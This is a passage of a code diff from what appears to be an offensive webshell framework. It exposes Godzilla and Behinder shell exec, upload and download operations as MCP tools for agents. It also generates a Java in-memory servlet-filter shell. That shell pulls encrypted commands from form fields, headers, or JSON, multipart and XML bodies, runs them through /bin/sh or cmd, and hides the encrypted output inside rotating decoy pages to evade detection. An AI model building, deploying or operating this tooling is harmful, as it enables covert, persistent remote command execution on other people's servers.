- conn.pass ?? "pass",
2270
- conn.key ?? "key",
2271
- args.command,
2272
- { ...common, os: args.os }
2273
- );
2274
- break;
2275
- case "behinder":
2276
- result = await execBehinder(conn.url, conn.pass ?? "rebeyond", args.command, common);
2277
- break;
2278
- default:
2279
- throw new Error(`exec supports godzilla | behinder (got ${String(conn.tool)})`);
2280
- }
3191
+ const protocol = requireProtocol(conn.tool);
3192
+ if (!protocol.exec) throw new Error(unsupportedMessage(protocol, "exec"));
3193
+ const result = await protocol.exec({ conn, common, options: { os: args.os } }, args.command);
2281
3194
  let savedAs;
2282
3195
  if (result.ok && conn.targetName === void 0) {
2283
3196
  savedAs = autoSaveShell(conn);
@@ -2319,41 +3232,27 @@ function createMcpServer(client) {
2319
3232
  key: args.key,
2320
3233
  headerName: args.headerName,
2321
3234
  headerValue: args.headerValue,
2322
- insecure: args.insecure
3235
+ insecure: args.insecure,
3236
+ upgradeProtocol: args.upgradeProtocol
2323
3237
  });
2324
3238
  const common = {
2325
3239
  headerName: conn.headerName,
2326
3240
  headerValue: conn.headerValue,
2327
3241
  extraHeaders: conn.extraHeaders,
2328
3242
  timeoutMs: args.timeoutMs,
2329
- insecure: conn.insecure
3243
+ insecure: conn.insecure,
3244
+ upgradeProtocol: conn.upgradeProtocol
2330
3245
  };
2331
3246
  const localPath = resolveDownloadPath(args.remotePath, args.localPath, args.force ?? false);
2332
- let result;
2333
- switch (conn.tool) {
2334
- case "godzilla":
2335
- result = await downloadGodzilla(
2336
- conn.url,
2337
- conn.pass ?? "pass",
2338
- conn.key ?? "key",
2339
- args.remotePath,
2340
- { ...common, remoteCharset: args.remoteCharset }
2341
- );
2342
- break;
2343
- case "behinder":
2344
- result = await downloadBehinder(
2345
- conn.url,
2346
- conn.pass ?? "rebeyond",
2347
- args.remotePath,
2348
- common
2349
- );
2350
- break;
2351
- default:
2352
- throw new Error(`download supports godzilla | behinder (got ${String(conn.tool)})`);
2353
- }
3247
+ const protocol = requireProtocol(conn.tool);
3248
+ if (!protocol.download) throw new Error(unsupportedMessage(protocol, "download"));
3249
+ let result = await protocol.download(
3250
+ { conn, common, options: { remoteCharset: args.remoteCharset } },
3251
+ args.remotePath
3252
+ );
2354
3253
  if (result.ok && result.data !== void 0) {
2355
3254
  try {
2356
- writeFileSync3(localPath, result.data);
3255
+ writeFileSync4(localPath, result.data);
2357
3256
  } catch (err) {
2358
3257
  result = {
2359
3258
  ...result,
@@ -2402,40 +3301,25 @@ function createMcpServer(client) {
2402
3301
  key: args.key,
2403
3302
  headerName: args.headerName,
2404
3303
  headerValue: args.headerValue,
2405
- insecure: args.insecure
3304
+ insecure: args.insecure,
3305
+ upgradeProtocol: args.upgradeProtocol
2406
3306
  });
2407
3307
  const common = {
2408
3308
  headerName: conn.headerName,
2409
3309
  headerValue: conn.headerValue,
2410
3310
  extraHeaders: conn.extraHeaders,
2411
3311
  timeoutMs: args.timeoutMs,
2412
- insecure: conn.insecure
3312
+ insecure: conn.insecure,
3313
+ upgradeProtocol: conn.upgradeProtocol
2413
3314
  };
2414
3315
  const data = readUploadFile(args.localPath);
2415
- let result;
2416
- switch (conn.tool) {
2417
- case "godzilla":
2418
- result = await uploadGodzilla(
2419
- conn.url,
2420
- conn.pass ?? "pass",
2421
- conn.key ?? "key",
2422
- args.remotePath,
2423
- data,
2424
- { ...common, remoteCharset: args.remoteCharset }
2425
- );
2426
- break;
2427
- case "behinder":
2428
- result = await uploadBehinder(
2429
- conn.url,
2430
- conn.pass ?? "rebeyond",
2431
- args.remotePath,
2432
- data,
2433
- common
2434
- );
2435
- break;
2436
- default:
2437
- throw new Error(`upload supports godzilla | behinder (got ${String(conn.tool)})`);
2438
- }
3316
+ const protocol = requireProtocol(conn.tool);
3317
+ if (!protocol.upload) throw new Error(unsupportedMessage(protocol, "upload"));
3318
+ const result = await protocol.upload(
3319
+ { conn, common, options: { remoteCharset: args.remoteCharset } },
3320
+ args.remotePath,
3321
+ data
3322
+ );
2439
3323
  let savedAs;
2440
3324
  if (result.ok && conn.targetName === void 0) {
2441
3325
  savedAs = autoSaveShell(conn);
@@ -2482,6 +3366,7 @@ function createMcpServer(client) {
2482
3366
  headerName: args.headerName,
2483
3367
  headerValue: args.headerValue,
2484
3368
  insecure: args.insecure,
3369
+ upgradeProtocol: args.upgradeProtocol,
2485
3370
  remark: args.shellRemark
2486
3371
  });
2487
3372
  logOp({
@@ -2635,59 +3520,103 @@ async function startMcpStdio(client) {
2635
3520
  await server.connect(transport);
2636
3521
  }
2637
3522
 
2638
- // src/connect/mimic-codecs.ts
2639
- import { createCipheriv as createCipheriv2, createDecipheriv as createDecipheriv2, randomBytes as randomBytes3 } from "crypto";
2640
- var LEGACY_CIPHER = {
2641
- algorithm: "aes-ecb",
2642
- encoding: "base64",
2643
- padTail: false,
2644
- marker: "js-var"
2645
- };
2646
- function resolveCipher(partial) {
2647
- return { ...LEGACY_CIPHER, ...partial ?? {} };
2648
- }
2649
- function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
2650
- const id = md5Hex(pass + secretKey).slice(0, 5);
2651
- if (cipher.marker === "html-comment") {
2652
- const left2 = `<!--Re${id}_config:`;
2653
- return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
2654
- }
2655
- const left = `var Re${id}_config="`;
2656
- return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
2657
- }
2658
-
2659
3523
  // src/custom/build.ts
2660
3524
  import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync5 } from "fs";
2661
3525
  import { join as join6 } from "path";
2662
3526
 
2663
- // src/core/site-profile.ts
2664
- import { existsSync as existsSync4, mkdirSync as mkdirSync3, readdirSync, readFileSync as readFileSync5, writeFileSync as writeFileSync4 } from "fs";
2665
- import { homedir as homedir4 } from "os";
2666
- import { join as join5 } from "path";
2667
- function profileTemplates(profile) {
2668
- if (Array.isArray(profile.templates) && profile.templates.length > 0) {
2669
- return profile.templates;
2670
- }
2671
- if (profile.template) {
2672
- return [
2673
- {
2674
- title: profile.title ?? "",
2675
- template: profile.template,
2676
- contentType: profile.contentType ?? "text/html; charset=utf-8"
2677
- }
2678
- ];
2679
- }
2680
- return [];
3527
+ // src/custom/java-template.ts
3528
+ function renderWrapperJava() {
3529
+ return `package mimic;
3530
+
3531
+ import java.io.*;
3532
+ import javax.servlet.*;
3533
+ import javax.servlet.http.*;
3534
+
3535
+ /** Re-exposes a consumed request body to downstream filters/servlets. */
3536
+ public class CachedBody extends HttpServletRequestWrapper {
3537
+ private final byte[] body;
3538
+
3539
+ public CachedBody(HttpServletRequest req, byte[] body) {
3540
+ super(req);
3541
+ this.body = body;
3542
+ }
3543
+
3544
+ public ServletInputStream getInputStream() {
3545
+ return new Stream(body);
3546
+ }
3547
+
3548
+ public BufferedReader getReader() {
3549
+ return new BufferedReader(new InputStreamReader(getInputStream()));
3550
+ }
3551
+
3552
+ static class Stream extends ServletInputStream {
3553
+ private final ByteArrayInputStream in;
3554
+
3555
+ Stream(byte[] body) {
3556
+ this.in = new ByteArrayInputStream(body);
3557
+ }
3558
+
3559
+ public int read() {
3560
+ return in.read();
3561
+ }
3562
+
3563
+ public boolean isFinished() {
3564
+ return in.available() == 0;
3565
+ }
3566
+
3567
+ public boolean isReady() {
3568
+ return true;
3569
+ }
3570
+
3571
+ public void setReadListener(ReadListener l) {}
3572
+ }
2681
3573
  }
2682
- function profileRequests(profile) {
2683
- if (!profile.request) return [];
2684
- return Array.isArray(profile.request) ? profile.request : [profile.request];
3574
+ `;
2685
3575
  }
2686
-
2687
- // src/custom/java-template.ts
2688
3576
  function javaStringLiteral(s) {
2689
3577
  return s.replaceAll("\\", "\\\\").replaceAll('"', '\\"').replaceAll("\r", "").replaceAll("\n", "\\n").replaceAll(/[^\x00-\x7f]/g, (ch) => `\\u${ch.codePointAt(0).toString(16).padStart(4, "0")}`);
2690
3578
  }
3579
+ function wrapperLoaderMethods(opts) {
3580
+ return `
3581
+ /** wrapper class bytes (mimic.CachedBody + its stream) \u2014 embedded so the
3582
+ uploaded shell stays a single self-contained class file */
3583
+ static final String WRAPPER_B64 = "${opts.wrapper.bodyB64}";
3584
+ static final String WRAPPER_STREAM_B64 = "${opts.wrapper.streamB64}";
3585
+
3586
+ static Class<?> forNameQuiet(String name, ClassLoader cl) {
3587
+ try {
3588
+ return Class.forName(name, true, cl);
3589
+ } catch (Throwable t) {
3590
+ return null;
3591
+ }
3592
+ }
3593
+
3594
+ static Class<?> defineQuiet(ClassLoader cl, String name, String b64) {
3595
+ try {
3596
+ java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass",
3597
+ String.class, byte[].class, int.class, int.class);
3598
+ m.setAccessible(true);
3599
+ byte[] bytes = java.util.Base64.getDecoder().decode(b64);
3600
+ return (Class<?>) m.invoke(cl, name, bytes, 0, bytes.length);
3601
+ } catch (Throwable t) {
3602
+ return null; // another shell in this JVM already defined it
3603
+ }
3604
+ }
3605
+
3606
+ /** Wrap the request so downstream code can re-read the JSON body we consumed. */
3607
+ static HttpServletRequest wrapBody(HttpServletRequest req, byte[] body) throws Exception {
3608
+ ClassLoader cl = ${opts.className}.class.getClassLoader();
3609
+ Class<?> c = forNameQuiet("mimic.CachedBody", cl);
3610
+ if (c == null) {
3611
+ defineQuiet(cl, "mimic.CachedBody$Stream", WRAPPER_STREAM_B64);
3612
+ c = defineQuiet(cl, "mimic.CachedBody", WRAPPER_B64);
3613
+ if (c == null) c = forNameQuiet("mimic.CachedBody", cl);
3614
+ }
3615
+ return (HttpServletRequest) c.getConstructor(HttpServletRequest.class, byte[].class)
3616
+ .newInstance(req, body);
3617
+ }
3618
+ `;
3619
+ }
2691
3620
  var MD5_METHOD = String.raw`
2692
3621
  static String md5Hex(String s) throws Exception {
2693
3622
  MessageDigest m = MessageDigest.getInstance("MD5");
@@ -2823,9 +3752,11 @@ function sharedMethods(cipher) {
2823
3752
  return MD5_METHOD + cryptMethod(cipher.algorithm) + encDecMethods(cipher.encoding) + (cipher.padTail ? PAD_METHODS : "") + fieldTransforms(cipher);
2824
3753
  }
2825
3754
  function renderFilterJava(opts) {
2826
- const { className, pass, secret, fields, templates, cipher } = opts;
3755
+ const { className, pass, secret, fields, bodyContentTypes, templates, cipher } = opts;
2827
3756
  const fieldsJava = fields.map((f) => `"${javaStringLiteral(f)}"`).join(", ");
2828
- const tplsJava = templates.map((t) => ` "${javaStringLiteral(t)}"`).join(",\n");
3757
+ const bodyCtsJava = bodyContentTypes.map((n) => `"${javaStringLiteral(n)}"`).join(", ");
3758
+ const tplsJava = templates.map((t) => ` "${javaStringLiteral(t.template)}"`).join(",\n");
3759
+ const ctsJava = templates.map((t) => `"${javaStringLiteral(t.contentType)}"`).join(", ");
2829
3760
  return `package mimic;
2830
3761
 
2831
3762
  import java.io.*;
@@ -2840,37 +3771,120 @@ import javax.servlet.http.*;
2840
3771
  * mimic protocol server (matches src/connect/mimic-codecs.ts):
2841
3772
  * cipher=${cipher.algorithm} encoding=${cipher.encoding} padTail=${cipher.padTail} marker=${cipher.marker}
2842
3773
  *
2843
- * Detection uses getParameter()/getHeader() only, never reads the body
2844
- * stream: form posts are parsed+cached by the container so downstream
2845
- * getParameter() callers still work, and raw-body posts (Behinder) keep an
2846
- * untouched body stream for the shell behind us. Anything that is not ours
2847
- * falls through chain.doFilter; any error answers with the cover page.
3774
+ * Detection uses getParameter()/getHeader() first, never touching the body
3775
+ * stream. For JSON bodies it reads the stream ONCE and re-exposes it via a
3776
+ * caching wrapper, so the app's own endpoints (and other shells behind us)
3777
+ * still see the body. Anything that is not ours falls through chain.doFilter;
3778
+ * any error answers with the plain cover template.
2848
3779
  */
2849
3780
  public class ${className} implements Filter {
2850
3781
  /** carriers that may hold the ciphertext (form fields / headers, from the profile) */
2851
3782
  static final String[] FIELDS = { ${fieldsJava} };
3783
+ /** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
3784
+ static final String[] BODY_CTS = { ${bodyCtsJava} };
2852
3785
  /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
2853
3786
  static final String PASS = "${javaStringLiteral(pass)}";
2854
3787
  static final String SECRET = "${javaStringLiteral(secret)}";
2855
- /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
3788
+ /** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
2856
3789
  static final String[] TPLS = {
2857
3790
  ${tplsJava}
2858
3791
  };
3792
+ /** Content-Type of each cover body (parallel to TPLS). */
3793
+ static final String[] CTS = { ${ctsJava} };
2859
3794
 
2860
3795
  public void init(FilterConfig filterConfig) {}
2861
3796
  public void destroy() {}
2862
3797
  ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
3798
+ static byte[] readAll(InputStream in) throws IOException {
3799
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
3800
+ byte[] buf = new byte[8192];
3801
+ int n;
3802
+ while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
3803
+ return bos.toByteArray();
3804
+ }
3805
+
3806
+ /** read the body only when its Content-Type is one the profile actually uses */
3807
+ static boolean ctMatches(String ct) {
3808
+ String l = ct.toLowerCase();
3809
+ for (String n : BODY_CTS) if (l.contains(n)) return true;
3810
+ return false;
3811
+ }
3812
+
3813
+ /** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
3814
+ static String jsonField(String body, String field) {
3815
+ String needle = "\\"" + field + "\\"";
3816
+ int i = body.indexOf(needle);
3817
+ if (i < 0) return null;
3818
+ int colon = body.indexOf(':', i + needle.length());
3819
+ if (colon < 0) return null;
3820
+ int q1 = body.indexOf('"', colon + 1);
3821
+ if (q1 < 0) return null;
3822
+ int q2 = body.indexOf('"', q1 + 1);
3823
+ if (q2 < 0) return null;
3824
+ return body.substring(q1 + 1, q2);
3825
+ }
3826
+
3827
+ /** minimal multipart extraction: the value follows the part headers of name="field" */
3828
+ static String multipartField(String body, String field) {
3829
+ String needle = "name=\\"" + field + "\\"";
3830
+ int i = body.indexOf(needle);
3831
+ if (i < 0) return null;
3832
+ int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
3833
+ int sepLen = 4;
3834
+ if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
3835
+ if (sep < 0) return null;
3836
+ int start = sep + sepLen;
3837
+ int end = body.indexOf('\\n', start);
3838
+ if (end < 0) end = body.length();
3839
+ String v = body.substring(start, end).trim();
3840
+ return v.isEmpty() ? null : v;
3841
+ }
3842
+
3843
+ /** minimal XML extraction: <field>value</field> */
3844
+ static String xmlField(String body, String field) {
3845
+ String open = "<" + field + ">";
3846
+ int i = body.indexOf(open);
3847
+ if (i < 0) return null;
3848
+ int start = i + open.length();
3849
+ int end = body.indexOf("</" + field + ">", start);
3850
+ if (end < 0) return null;
3851
+ return body.substring(start, end);
3852
+ }
3853
+ ${wrapperLoaderMethods(opts)}
2863
3854
  public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
2864
3855
  throws IOException, ServletException {
3856
+ HttpServletRequest httpReq = request instanceof HttpServletRequest
3857
+ ? (HttpServletRequest) request : null;
2865
3858
  String value = null;
2866
3859
  for (String f : FIELDS) {
2867
3860
  value = request.getParameter(f);
2868
- if (value == null && request instanceof HttpServletRequest) {
3861
+ if (value == null && httpReq != null) {
2869
3862
  // secretIn=header: the ciphertext may ride a header instead of a form field
2870
- value = ((HttpServletRequest) request).getHeader(f);
3863
+ value = httpReq.getHeader(f);
2871
3864
  }
2872
3865
  if (value != null) break;
2873
3866
  }
3867
+ if (value == null && httpReq != null) {
3868
+ // the ciphertext may ride a raw body of any bodyTemplate shape
3869
+ // (JSON / multipart / XML\u2026). Read it once and re-expose it
3870
+ // downstream via the caching wrapper.
3871
+ String ct = httpReq.getContentType();
3872
+ if (ct != null && ctMatches(ct)) {
3873
+ try {
3874
+ byte[] bodyBytes = readAll(httpReq.getInputStream());
3875
+ String bodyText = new String(bodyBytes, "UTF-8");
3876
+ for (String f : FIELDS) {
3877
+ value = jsonField(bodyText, f);
3878
+ if (value == null) value = multipartField(bodyText, f);
3879
+ if (value == null) value = xmlField(bodyText, f);
3880
+ if (value != null) break;
3881
+ }
3882
+ request = wrapBody(httpReq, bodyBytes);
3883
+ } catch (Throwable wrapperFailed) {
3884
+ // the body is already consumed \u2014 pass through as-is
3885
+ }
3886
+ }
3887
+ }
2874
3888
  if (value == null) {
2875
3889
  chain.doFilter(request, response);
2876
3890
  return;
@@ -2882,11 +3896,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2882
3896
  cmd = decryptField(value, aesKey);
2883
3897
  } catch (Exception notOurs) {
2884
3898
  // the field exists but doesn't decrypt \u2014 this is someone else's
2885
- // legitimate form (e.g. the real login POST), stay invisible
3899
+ // legitimate request (e.g. the real login POST), stay invisible
2886
3900
  chain.doFilter(request, response);
2887
3901
  return;
2888
3902
  }
2889
- String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
3903
+ int ti = new java.util.Random().nextInt(TPLS.length);
3904
+ String tpl = TPLS[ti];
3905
+ String tplCt = CTS[ti];
2890
3906
  try {
2891
3907
  String command = new String(cmd, "UTF-8");
2892
3908
  boolean win = System.getProperty("os.name").toLowerCase().contains("win");
@@ -2895,22 +3911,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
2895
3911
  : new ProcessBuilder("/bin/sh", "-c", command);
2896
3912
  pb.redirectErrorStream(true);
2897
3913
  Process proc = pb.start();
2898
- ByteArrayOutputStream bos = new ByteArrayOutputStream();
2899
- InputStream in = proc.getInputStream();
2900
- byte[] buf = new byte[8192];
2901
- int n;
2902
- while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
2903
3914
  proc.waitFor();
2904
- String payload = encryptField(bos.toByteArray(), aesKey);
2905
- String fragment = wrapPayload(payload, PASS + SECRET);
2906
- int idx = tpl.toLowerCase().lastIndexOf("</body>");
2907
- String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
2908
- response.setContentType("text/html;charset=UTF-8");
3915
+ String payload = encryptField(readAll(proc.getInputStream()), aesKey);
3916
+ String page;
3917
+ if (tpl.contains("{{payload}}")) {
3918
+ // placeholder template (any text format): substitute exactly there
3919
+ page = tpl.replace("{{payload}}", payload);
3920
+ } else {
3921
+ String fragment = wrapPayload(payload, PASS + SECRET);
3922
+ int idx = tpl.toLowerCase().lastIndexOf("</body>");
3923
+ page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
3924
+ }
3925
+ response.setContentType(tplCt);
2909
3926
  response.setCharacterEncoding("UTF-8");
2910
- response.getWriter().write(page);
3927
+ if (tplCt.contains("event-stream")) {
3928
+ // flush chunk by chunk \u2014 a real SSE endpoint streams, a
3929
+ // one-shot body is the wrong shape on the wire
3930
+ java.io.PrintWriter w = response.getWriter();
3931
+ for (String chunk : page.split("\\n\\n", -1)) {
3932
+ if (chunk.isEmpty()) continue;
3933
+ w.write(chunk);
3934
+ w.write("\\n\\n");
3935
+ w.flush();
3936
+ response.flushBuffer();
3937
+ try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
3938
+ }
3939
+ } else {
3940
+ response.getWriter().write(page);
3941
+ }
2911
3942
  } catch (Exception e) {
2912
- // behave like the cover page on any error \u2014 stay quiet
2913
- response.setContentType("text/html;charset=UTF-8");
3943
+ // behave like the cover body on any error \u2014 stay quiet
3944
+ response.setContentType(tplCt);
2914
3945
  response.getWriter().write(tpl);
2915
3946
  }
2916
3947
  }
@@ -3005,6 +4036,29 @@ function profileSecretFields(profile) {
3005
4036
  const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
3006
4037
  return fields.length > 0 ? fields : ["pass"];
3007
4038
  }
4039
+ function ctNeedle(ct) {
4040
+ const media = ct.toLowerCase().split(";", 1)[0].trim();
4041
+ if (media.includes("json")) return "json";
4042
+ if (media.includes("multipart")) return "multipart";
4043
+ if (media.includes("xml")) return "xml";
4044
+ return media;
4045
+ }
4046
+ function profileBodyContentTypes(profile) {
4047
+ const needles = /* @__PURE__ */ new Set();
4048
+ for (const r of profileRequests(profile)) {
4049
+ if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
4050
+ if (r.bodyTemplate !== void 0) {
4051
+ const explicit = Object.entries(r.headers ?? {}).find(
4052
+ ([k]) => k.toLowerCase() === "content-type"
4053
+ )?.[1];
4054
+ const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
4055
+ if (ct) needles.add(ctNeedle(ct));
4056
+ } else if (r.bodyStyle === "json") {
4057
+ needles.add("json");
4058
+ }
4059
+ }
4060
+ return [...needles];
4061
+ }
3008
4062
  function defaultClassName() {
3009
4063
  return `MimicFilter${randomString(4)}`;
3010
4064
  }
@@ -3016,20 +4070,32 @@ async function buildCustomMemshell(input, client, deps = {}) {
3016
4070
  const urlPattern = input.urlPattern ?? "/*";
3017
4071
  const packer = input.packer ?? "DefaultBase64";
3018
4072
  const cipher = resolveCipher(input.profile.cipher);
3019
- const templates = profileTemplates(input.profile).map((t) => t.template);
4073
+ const templates = profileTemplates(input.profile).map((t) => ({
4074
+ template: t.template,
4075
+ contentType: t.contentType
4076
+ }));
3020
4077
  if (templates.length === 0) {
3021
4078
  throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
3022
4079
  }
3023
4080
  const outDir = input.outDir;
3024
4081
  const packageDir = join6(outDir, "mimic");
3025
4082
  mkdirSync4(packageDir, { recursive: true });
4083
+ const wrapperFile = join6(packageDir, "CachedBody.java");
4084
+ writeFileSync5(wrapperFile, renderWrapperJava(), "utf8");
4085
+ compile([wrapperFile], outDir, { classpath: [jarOf()] });
4086
+ const wrapper = {
4087
+ bodyB64: readFileSync6(join6(packageDir, "CachedBody.class")).toString("base64"),
4088
+ streamB64: readFileSync6(join6(packageDir, "CachedBody$Stream.class")).toString("base64")
4089
+ };
3026
4090
  const javaSource = renderFilterJava({
3027
4091
  className,
3028
4092
  pass: input.pass,
3029
4093
  secret: input.secret,
3030
4094
  fields: profileSecretFields(input.profile),
4095
+ bodyContentTypes: profileBodyContentTypes(input.profile),
3031
4096
  templates,
3032
- cipher
4097
+ cipher,
4098
+ wrapper
3033
4099
  });
3034
4100
  const javaFile = join6(packageDir, `${className}.java`);
3035
4101
  writeFileSync5(javaFile, javaSource, "utf8");